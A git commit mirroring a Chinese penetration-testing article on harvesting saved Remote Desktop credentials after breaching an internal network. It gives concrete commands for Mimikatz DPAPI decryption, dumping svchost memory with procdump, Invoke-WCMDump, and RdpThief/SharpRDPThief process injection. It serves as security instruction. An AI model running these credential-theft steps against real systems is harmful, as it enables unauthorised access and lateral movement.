内网远程桌面密码获取、

This commit is contained in:
test committed 2024-12-24 01:56:39 +00:00
1 parent c8dea11e1e
commit d8a006b685
2 files changed
+406 -1

No files matched your search

+2 -1
View File
@@ -1970,5 +1970,6 @@
"https://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247515310&idx=1&sn=0d5a90a6415efced680b61d90b5d0c8c": "Bazaar v1.4.3 任意文件读取漏洞(CVE-2024-40348)",
"https://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247515310&idx=2&sn=56e4be8036c18c800185e9bb1a7dc78c": "渗透测试 -- 系统漏洞扫描",
"https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247489345&idx=1&sn=91726b817300dc5b41e7c6a25ef449d4": "【漏洞预警】Poppler越界读取漏洞(CVE-2024-56378)",
"https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247523969&idx=1&sn=b096f169d52f79ead83a7f4899282a8f": "【漏洞通告】Craft CMS 远程代码执行漏洞(CVE-2024-56145)"
"https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247523969&idx=1&sn=b096f169d52f79ead83a7f4899282a8f": "【漏洞通告】Craft CMS 远程代码执行漏洞(CVE-2024-56145)",
"https://mp.weixin.qq.com/s/7cV7xUD5XoElvax20i0fzg": "内网远程桌面密码获取"
}
+404
View File
@@ -0,0 +1,404 @@
# 内网远程桌面密码获取
原创 simeon的文章 小兵搞安全 2024-12-23 13:12
#     当通过边界渗透进入内网后,通过密码暴力破解,内网应用等获取内网Windows权限后,通过代理等进行远程桌面登录,查看并获取远程桌面连接历史IP地址以及保存的用户名和密码,可以继续进行内网渗透,获取更多的权限。
## 1.1远程桌面历史IP获取    
### 1.1.1mstsc查看历史登录IP    
   获取远程桌面(RDP)连接的历史IP记录可以帮助管理员了解哪些服务器或远程机器曾被连接过。这些信息通常存储在Windows注册表中。可以打开远程桌面mstsc后,在计算机列表中可以看到曾经的历史登录IP,有些IP可能还保存了登录用户名和密码,使用这些凭据可以直接登录管理员曾经登录过的服务器,前提是需要获取该服务器或者个人主机的远程登录权限。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtTAR0X20rWaaquUkbRmSgeczVBdTeZ7wEkjlcqjI9DKnEDpiar1oK0QA/640?wx_fmt=png "")
查看历史登录IP
    
### 1.1.2注册表地址获取历史登录IP地址    
1.注册表键值查看
按 Win + R 键,输入 regedit,然后按回车键,导航到HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers,可以看到历史登录过的服务器IP地址获取域名。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImt9gIdFSYyzp5nS7pkUZics0gS5kTUCjlu9L6QaofoLzKgDs4Ce9YCYzA/640?wx_fmt=png "")
2.命令行直接获取远程桌面历史连接IP地址
powershell下执行命令:
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImttlibGniapCagsHjtTRwd9bBWA0AicJbVoSYgAgB7s4fct5nAKYOmicXKqQ/640?wx_fmt=png "")
    
### 1.1.3ListRDPConnections    
https://github.com/Heart-Sky/ListRDPConnections
只能获取历史连接记录。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtibAceux6WW0Kibgib5pWI3ZFMOoOibYS1lwxlsx0nm9nfK28bicxDgQpWJQ/640?wx_fmt=png "")
## 1.2获取 RDP 远程桌面连接凭据    
### 1.2.1在凭据管理器中查看 Windows 凭据    
1.Windows凭据管理器介绍
Windows凭据管理器(Credential Manager)是Windows操作系统中的一个组件,它帮助用户管理和存储各种类型的登录信息和其他敏感数据。通过凭据管理器,用户可以安全地保存网站、网络资源和Windows域的用户名和密码等信息,以便在需要时自动填充这些凭证,从而简化访问受保护资源的过程。
凭据管理器的主要功能
·
Web凭据:用于保存网站登录信息。
    
·
Windows凭据:包括网络资源(如文件服务器、打印机)、Windows域账户等的登录信息。
·
证书:用于身份验证的数字证书。
2.Windows 凭据保留位置
C:\Users\<用户名>\AppData\Local\Microsoft\Credentials
3.ps下查看Windows凭据
(1)查看当前保存的凭据
cmdkey /list 
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtFZ9SE5MtiaDHXWW3z7ib7RevBhGMZ5JibtcFdejr4uuP22AFSqbcwy0Pg/640?wx_fmt=png "")
(2)cmd下查看
保存的凭据
dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*"
    
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtJNMKiafJdgwtkZTl5XN844LzrfsR9m4BwvYZiarH68ia9n8DfCzvJDzicQ/640?wx_fmt=png "")
(3)
PowerShell下查看
保存的凭据
dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*"
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtOQqzlbfsKD4iclYfSAXW4t64hG3MEJUDmz7r9agb239TdmD2773DMqA/640?wx_fmt=png "")
### 1.2.2使用 Mimikatz 导出远程桌面连接凭据    
1.获取
guidMasterKey
(1)mimikatz
(2)
privilege::debug
    
(3)dpapi::cred /in:C:\Users\36502\AppData\Local\Microsoft\Credentials\1A5A322625F3341E03935748DAA118C3
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtjsRT6tw2BiaxcQ2zbosUBchglpfOfw2jottOfUBZdrhqkZlDu6aKicgQ/640?wx_fmt=png "")
也可以一句话直接执行:
mimikatz # mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\36502\AppData\Local\Microsoft\Credentials\1A5A322625F3341E03935748DAA118C3"
{778f9b6e-31d1-4c55-9b6e-5360aed0bf38}
说明凭据文件是通过dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*"获取的。
记录
guidMasterKey:
{778f9b6e-31d1-4c55-9b6e-5360aed0bf38}
2.获取
MasterKey
(1)
privilege::debug
    
(2)sekurlsa::dpapi
也可以直接cmd下执行命令
 
mimikatz.exe "privilege::debug" "sekurlsa::dpapi"
Windows11下执行未能测试成功。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtYViabdV0xCvGbHPviayiaaw0LsVA2636EibT36pNgptQicErYjf5fAMjSOw/640?wx_fmt=png "")
正确的图如下:
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtXEwXdcTlU6grYNs7lib8DvOlKTozsSGhTicOqwrnRr6dicfiazic5bCEzYw/640?wx_fmt=png "")
3.获取明文密码
mimikatz.exe "dpapi::cred /in:C:\Users\3650\AppData\Local\Microsoft\Credentials\4D8F543ACD10B143849414A5085FE4E6 /masterkey:53c01b9679dc0e55b91584781fe13eb1c5faa2694fc693f98838fedd74d3ad371754b9d9d841769882c8e14c965e4ae40a45dce88101cf5831fc4d694cc38e81"
    
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtuhVg0HahCSjjf4K4GRzaJ38ibJicOXbvObE1mmKNLnlcbJQstp66iaJ3w/640?wx_fmt=png "")
### 1.2.3从 svchost 中获取 RDP 连接凭据    
svchost.exe 是 Windows 中用于运行多个服务的通用主机进程,对系统正常运行至关重要。当用户通过 RDP 远程桌面连接并进行身份验证时,相关服务由 svchost.exe 托管。由于 Windows 身份验证机制的原因,RDP 凭据可能以纯文本形式短暂存在于 svchost.exe 的内存中,这使得通过内存转储技术理论上可以提取这些凭据。
1.
查询终端服务
sc queryex termservice
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtdicEaicuJmkIKWHglKib1MTQApF1H4qkdmmwWY96funftEl44LJ3Ocsgg/640?wx_fmt=png "")
    
2.内存导出
通过 procdump.exe 将 PID 进程内存转储为 .dmp
procdump64.exe -ma PID -accepteula C:\Users\Administrator\Desktop
### 1.2.4从已存在的 RDP 连接中导出    
privilege::debugts::logonpasswords# mimikatz.exe "privilege::debug" "ts::logonpasswords"
### 1.2.5使用 PowerShell 脚本Invoke-WCMDump导出    
•项目地址:
https://github.com/peewpw/Invoke-WCMDump
Invoke-WCMDump.ps1 这个 PowerShell 脚本可以在 Windows 凭据管理器中枚举 Windows 凭据,然后提取有关每个凭据的可用信息,且无须管理员权限。
1.需要更改权限
Import-Module .\Invoke-WCMDump.ps1
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtj4ibkwpZnujBicvHGib4pgLjmFO5RwfAPs2ZcLpjGaB7BCLDj5icBXsNkg/640?wx_fmt=png "")
PowerShell默认设置为Restricted,这意味着不允许运行任何脚本,包括本地脚本。为了运行自定义脚本,需要更改执行策略。
Restricted:默认值,不允许运行任何脚本。
    
AllSigned:只允许运行由受信任发布者签署的脚本。
RemoteSigned:允许运行本地创建的脚本,远程下载的脚本必须有数字签名。
Unrestricted:允许所有脚本运行,但会警告未签名的脚本。
Bypass:不阻止或不提示任何内容;适用于构建服务器等非交互式环境。
Undefined:移除当前作用域内的执行策略(不会影响其他作用域)。
2.更改权限
Get-ExecutionPolicy
Set-ExecutionPolicy RemoteSigned
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImt3HB8yR1wGREWqEUmsfYmU8wmUicP8oyDrKialpcrqQ26uqJWDiaicAibunA/640?wx_fmt=png "")
3.执行导出命令
Import-Module .\Invoke-WCMDump.ps1
    
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtLqZWooBGmLOibJcbJBia53ia7gzkYtS25C1dOkuRAKMLXv8UDaKwibibnTQ/640?wx_fmt=png "")
### 1.2.6 RdpThief    
当用户打开 Windows 远程桌面 mstsc.exe 并通过 RDP 协议远程连接到其他系统时,将创建 mstsc.exe 进程。而如果此时我们使用 API Hooking 则可以直接拦截用户提供的凭据,并将其保存到用户主机上某处。Rio Sherri 开发了一个名为 RdpThief(https://github.com/0x09AL/RdpThief) 的概念性验证工具,它可以尝试在运行有 mstsc.exe 进程的主机上 Hooking mstsc 进程中使用的函数(CredIsMarshaledCredentialW 和 CryptProtectMemory),并检索其中的凭据然后将凭据写入主机上的某个文件中。
1.使用 Cobalt Strike 加载 RdpThief
    
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImt1IzsZpA8cQhMCBW4YQ5adr5wHzqJoUDNhoHIuHXytNxaGGwCklsfcQ/640?wx_fmt=png "")
2.依次执行以下命令
(1)rdpthief_enable:启动心跳检测,每 5 秒搜索一次 mstsc.exe 进程并注入 RdpThief_x64.tmp 中的 Shellcode,管理员远程桌面登录3389。
(2)rdpthief_disable:停止心跳检测,但该命令不会卸载注入的 Shellcode•rdpthief_dump:显示抓取的凭据,默认读取路径为 %temp%\data.bin
(3)rdpthief_dump
抓出来的凭据存储在 %temp%\data.bin 目录下
    
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtibOmBlCWQIB69xDlZqOXd1jyuOVAADr02flyRSCnrjXA3J71lhlsQrA/640?wx_fmt=png "")
另外一种注入方法
(1)获取mstsc的pid值假设为1111
tasklist /v | findstr "mstsc"
(2)注入RdpThief.dll
Import-Module .\Invoke-DllInjection.ps1
Invoke-DllInjection -ProcessID 1111-Dll RdpThief.dll
### 1.2.7 SharpRDPThief     
https://github.com/passthehashbrowns/SharpRDPThief
SharpRDPThief 工具是 Josh Magri 用 C# 重写对 RdpThief 的重写。然而,与 RdpThief 相比,SharpRDPThief 使用 IPC Server 可以使用接收来自 mstsc.exe 进程中抓取到的凭据。如果 mstsc.exe 被终止,Server 也会继续运行,并且等待 mstsc.exe 进程再次重新启动时会尝试再次进行 Hooking。这解决了 RdpThief 要求进程已经存在的限制。直接运行 SharpRDPThief.exe,然后模拟管理员使用远程桌面登录某台服务器,输入密码后 SharpRDPThief 成功抓取到了 RDP 登录凭据。
    
### 1.2.8Remote Desktop PassView v1.02    
Remote Desktop PassView v1.02对Windows早期版本可以读取密码,对于Windows11无法读取保存的密码。工具下载地址:
https://www.nirsoft.net/utils/remote_desktop_password.html
直接运行rdpv即可。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImttyhAQuQOw15PLbLYpJbj1vVUicia30703YetUEOMbLEdOjRUQob4UiaXg/640?wx_fmt=png "")